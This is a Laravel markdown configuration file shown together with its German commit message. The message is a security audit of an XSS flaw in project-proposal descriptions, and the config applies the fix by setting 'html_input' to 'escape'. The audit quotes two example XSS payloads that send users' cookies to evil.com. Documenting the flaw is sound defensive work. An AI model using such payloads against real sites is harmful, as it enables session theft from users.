Files
einundzwanzig-verein/config/markdown.php
vk af3090e694 [P0 Security] XSS-Schutz – Sanitize ProjectProposal Description Output (vibe-kanban a733735a)
## Security Audit: Cross-Site Scripting (XSS) in ProjectProposal Description

### Problem
In `resources/views/livewire/association/project-support/show.blade.php` Zeile 111 wird User-generierter Content **unescaped** ausgegeben:

```blade
<x-markdown>
    {!! $projectProposal->description !!}
</x-markdown>
```

**Angriffsvektor:** Jeder authentifizierte User mit `association_status > 1` und bezahlter Mitgliedschaft kann über `resources/views/livewire/association/project-support/form/create.blade.php` einen ProjectProposal erstellen. Das Feld `description` wird nur mit `required|string|min:5` validiert – kein HTML-Sanitizing. Ein Angreifer kann beliebiges JavaScript injizieren:

```html
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
<img src=x onerror="fetch('https://evil.com/'+document.cookie)">
```

Die App nutzt Spatie's `laravel-markdown` (League\CommonMark), das standardmäßig inline HTML **nicht** filtert.

### Lösung

**Option A (empfohlen): HTML Purifier im Markdown-Renderer konfigurieren**
1. In `config/markdown.php` die CommonMark-Konfiguration anpassen, um `allow_unsafe_links` auf `false` zu setzen und `html_input` auf `'escape'` oder `'strip'`
2. Prüfe die aktuelle `config/markdown.php` – dort wird der `Spatie\LaravelMarkdown\MarkdownRenderer` konfiguriert
3. Setze in der CommonMark-Konfiguration:
   ```php
   'commonmark' => [
       'html_input' => 'escape', // oder 'strip' – verhindert rohen HTML-Output
       'allow_unsafe_links' => false,
   ],
   ```

**Option B: Input-Sanitization bei Speicherung**
1. In `app/Livewire/Forms/ProjectProposalForm.php` (oder dem Create-Component) vor dem Speichern den HTML-Content mit `strip_tags()` oder besser einem HTML Purifier bereinigen
2. Das Flux `<flux:editor>` Component erzeugt möglicherweise gültiges HTML – prüfe, welches Format in der DB gespeichert wird

**Option C: Output-Escaping**
1. Ersetze `{!! $projectProposal->description !!}` durch `{{ $projectProposal->description }}` wenn nur Plain-Text benötigt wird
2. Falls Markdown benötigt wird, nutze die sichere Markdown-Rendering-Pipeline

### Betroffene Dateien
- `resources/views/livewire/association/project-support/show.blade.php:111` – XSS-Output
- `resources/views/livewire/association/project-support/form/create.blade.php` – Input ohne Sanitization
- `app/Livewire/Forms/ProjectProposalForm.php` – Validation Rules (falls vorhanden)
- `config/markdown.php` – CommonMark Konfiguration

### Zusätzlich prüfen
Scanne alle anderen `{!! !!}` Stellen in `resources/views/livewire/` (NICHT in `resources/views/flux/` – das sind Framework-Dateien). Aktuell ist nur `show.blade.php:111` betroffen, aber prüfe ob es weitere gibt.

### Vorgehen
1. `config/markdown.php` lesen und die CommonMark-Config auf `'html_input' => 'escape'` setzen
2. Prüfen, ob die Änderung den gewünschten Effekt hat (Markdown wird gerendert, HTML wird escaped)
3. Einen Pest Browser-Test oder Feature-Test schreiben, der verifiziert, dass `<script>` Tags in der Description escaped werden
4. `vendor/bin/pint --dirty` ausführen
5. Bestehende Tests laufen lassen

### Akzeptanzkriterien
- `<script>` und andere HTML-Tags in ProjectProposal descriptions werden escaped oder gestrippt
- Markdown-Formatierung (Bold, Links, Listen) funktioniert weiterhin
- Ein Test verifiziert, dass XSS-Payloads nicht ausgeführt werden
- Keine Regression in der Darstellung bestehender Proposals
2026-02-11 21:13:36 +01:00

109 lines
3.4 KiB
PHP

<?php
return [
'code_highlighting' => [
/*
* To highlight code, we'll use Shiki under the hood. Make sure it's installed.
*
* More info: https://spatie.be/docs/laravel-markdown/v1/installation-setup
*/
'enabled' => true,
/*
* The name of or path to a Shiki theme
*
* More info: https://github.com/shikijs/shiki/blob/main/docs/themes.md
*/
'theme' => 'github-light',
],
/*
* When enabled, anchor links will be added to all titles
*/
'add_anchors_to_headings' => true,
/**
* When enabled, anchors will be rendered as links.
*/
'render_anchors_as_links' => false,
/*
* These options will be passed to the league/commonmark package which is
* used under the hood to render markdown.
*
* More info: https://spatie.be/docs/laravel-markdown/v1/using-the-blade-component/passing-options-to-commonmark
*/
'commonmark_options' => [
'html_input' => 'escape',
'allow_unsafe_links' => false,
],
/*
* Rendering markdown to HTML can be resource intensive. By default
* we'll cache the results.
*
* You can specify the name of a cache store here. When set to `null`
* the default cache store will be used. If you do not want to use
* caching set this value to `false`.
*/
'cache_store' => null,
/*
* When cache_store is enabled, this value will be used to determine
* how long the cache will be valid. If you set this to `null` the
* cache will never expire.
*
*/
'cache_duration' => null,
/*
* This class will convert markdown to HTML
*
* You can change this to a class of your own to greatly
* customize the rendering process
*
* More info: https://spatie.be/docs/laravel-markdown/v1/advanced-usage/customizing-the-rendering-process
*/
'renderer_class' => Spatie\LaravelMarkdown\MarkdownRenderer::class,
/*
* These extensions should be added to the markdown environment. A valid
* extension implements League\CommonMark\Extension\ExtensionInterface
*
* More info: https://commonmark.thephpleague.com/2.4/extensions/overview/
*/
'extensions' => [
//
],
/*
* These block renderers should be added to the markdown environment. A valid
* renderer implements League\CommonMark\Renderer\NodeRendererInterface;
*
* More info: https://commonmark.thephpleague.com/2.4/customization/rendering/
*/
'block_renderers' => [
// ['class' => FencedCode::class, 'renderer' => MyCustomCodeRenderer::class, 'priority' => 0]
],
/*
* These inline renderers should be added to the markdown environment. A valid
* renderer implements League\CommonMark\Renderer\NodeRendererInterface;
*
* More info: https://commonmark.thephpleague.com/2.4/customization/rendering/
*/
'inline_renderers' => [
// ['class' => FencedCode::class, 'renderer' => MyCustomCodeRenderer::class, 'priority' => 0]
],
/*
* These inline parsers should be added to the markdown environment. A valid
* parser implements League\CommonMark\Renderer\InlineParserInterface;
*
* More info: https://commonmark.thephpleague.com/2.4/customization/inline-parsing/
*/
'inline_parsers' => [
// ['parser' => MyCustomInlineParser::class, 'priority' => 0]
],
];